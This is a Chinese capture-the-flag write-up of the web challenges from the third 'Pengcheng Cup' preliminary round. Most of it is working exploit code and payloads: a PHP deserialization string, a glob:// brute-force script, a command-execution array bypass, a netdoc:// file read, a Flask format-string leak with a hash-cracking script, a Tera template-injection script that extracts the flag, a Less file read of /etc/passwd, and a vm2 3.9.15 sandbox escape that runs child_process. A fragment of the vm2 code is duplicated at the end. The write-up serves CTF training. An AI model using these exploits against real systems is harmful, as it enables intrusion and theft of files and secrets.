第三届 “鹏城杯”（初赛）

第三届 "鹏城杯"（初赛）

WEB

Web-web1

反序列化tostring打Hack类

php 复制代码

Payload:O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D

Web-web2

这题发现 backdoor_[a-f0-9]{16}.php 这个

想到了glob://（glob:// --- 查找匹配的文件路径模式）

然后写过python脚本爆破路径

python 复制代码

import requests

url = "http://172.10.0.5/"
Harder = "abcdef0123456789."
target = "glob://backdoor_"
for i in range(1,66):
    for j in Harder:
        poc = target +str(j) +"*"
        payload ={
            "filename":poc
        }
        # print(j)
        req = requests.post(url=url,data=payload)
        if "yesyesyes!!!" in req.text:
            tar_file = target +str(j)
            print(tar_file)
            break
        else:
            print("nonononono")

/backdoor_00fbc51dcdf9eef767597fd26119a894.php

php 复制代码

 <?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['username'])){
    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
    mkdir($sandbox);
    chdir($sandbox);
    
    if(isset($_GET['title'])&&isset($_GET['data'])){
        $data = $_GET['data'];
        $title= $_GET['title'];
        if (strlen($data)>5||strlen($title)>3){
            die("no!no!no!");
        }
        file_put_contents($sandbox.$title,$data);

        if (strlen(file_get_contents($title)) <= 10) {
            system('php '.$sandbox.$title);
        }
        else{
            system('rm '.$sandbox.$title);
            die("no!no!no!");
        }

    }
    else if (isset($_GET['reset'])) {
        system('/bin/rm -rf ' . $sandbox);
    }
}
?>

简单的绕过，数组绕过

php 复制代码

/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=admin&title[]=1.php&data[]=%3C?=`cat%20/f*`;

Web-HTTP

这题通过扫描路由发现有这个/proxy/url路由传url参数

尝试了ssrf，也没有请求走私，就去谷歌搜索了一下，发现有netdoc可以读文件

file协议也可以读

url:netdoc即可绕过过滤

shell 复制代码

/proxy/url?url=url%3Anetdoc%3A%2Fflag%23.html

Web-Escape

这题是原题，原题是有两种解法但是这题不行，首先我不知道secret.html里面是否有flag，二是原题里面的长度长度为7，而这题的长度为16，需要爆破10的16次方，爆破这条路肯定走不通了

贴一手第一种解法改的脚本：

python 复制代码

import requests
import os

# hashcat -m 1700 -a 0 hash password.txt --show

payload = '{passhash.__str__.__globals__[passhash]}'
url = "http://172.10.0.5:10000/?username=%s&password=anything" % payload
r = requests.get(url)
output = r.text
hash_start = output.find("user '") + len("user '")
hash_end = output.find("'", hash_start)
admin_hash = output[hash_start:hash_end]
with open("hash", "w") as f:
    f.write(admin_hash)
print(admin_hash)

def create_salt_wordlist():
    with open('wordlist.txt', 'w') as f:
        for i in range(10000000000000000):
            padded_number = str(i).zfill(16)
            salted_string = "****************" + padded_number
            f.write(salted_string + "\n")
        print("Created salt wordlist in wordlist.txt")
create_salt_wordlist()

def crack_hash():
    choose_tool = input("""1.Hashcat \n2.John_The_Ripper \nWhat tool do you want to use to crack?: """)
    if choose_tool == "1":
        hashcat = "hashcat -m 1700 -a 0 hash wordlist.txt"
        hashcat_output = os.system(hashcat)
        print(hashcat_output)
    if choose_tool == "2":
        john_the_ripper = "john --format=raw-sha512 --wordlist=wordlist.txt hash"
        john_the_ripper_output = os.system(john_the_ripper)
        print(john_the_ripper_output)
    elif choose_tool != "1" and "2":
        print("Error")
crack_hash()


print("After you get cracked password remove the `very_secure_salt` since it will always contains by default in app and take the numbers behind as password and login with it")

那我们就第二种解法，格式化字符串漏洞获取环境变量

username=%7Bpasshash.__str__.__globals__%5Bapp%5D.wsgi_app.__globals__%5Bos%5D.environ%7D&password=1

Web-Tera

这题直接上脚本

python 复制代码

import requests
res=''
j=5
while True:
    j+=1
    for i in range(32,127):
        data=f"""
        {{% set res = get_env(name="fl"~"ag") %}}
        {{%- if res|truncate(length={j},end='') == 'fla'~'g{{'~'{res+chr(i)}' -%}}
        www
        {{%- endif -%}}
        """
        r=requests.post(url="http://172.10.0.3:8081/",data=data)
        s=r.text
        if "www" in s:
            res+=chr(i)
            print("flag{"+res)
            break

Web-simple_rpc

这题支持less模板

参考：https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A

https://www.yuque.com/dat0u/ctf/gupiindgyz7vodib#UIsP7

vm2 3.9.15逃逸

shell 复制代码

.test {
  content: data-uri('/etc/passwd');
}

读取文件的payload

读一下文件

javascript 复制代码

● /app/app.js
● /app/rpc.js
● /app/eval.proto
● /app/package.json

然后发现vm2为3.9.15版本的

javascript 复制代码

var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    {keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    });
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function main() {
    var client = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure())
    client.evalTemplate({ message: 'Hello',template: `aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag');
}` }, function(err, response) {
        if (err) {
            console.error('Error: ', err)
        } else {
            console.log(response)
        }
    })
}

main()

).mainModule.require('child_process').execSync('/readflag');

}` }, function(err, response) {

if (err) {

console.error('Error: ', err)

} else {

console.log(response)

}

})

}

main()

复制代码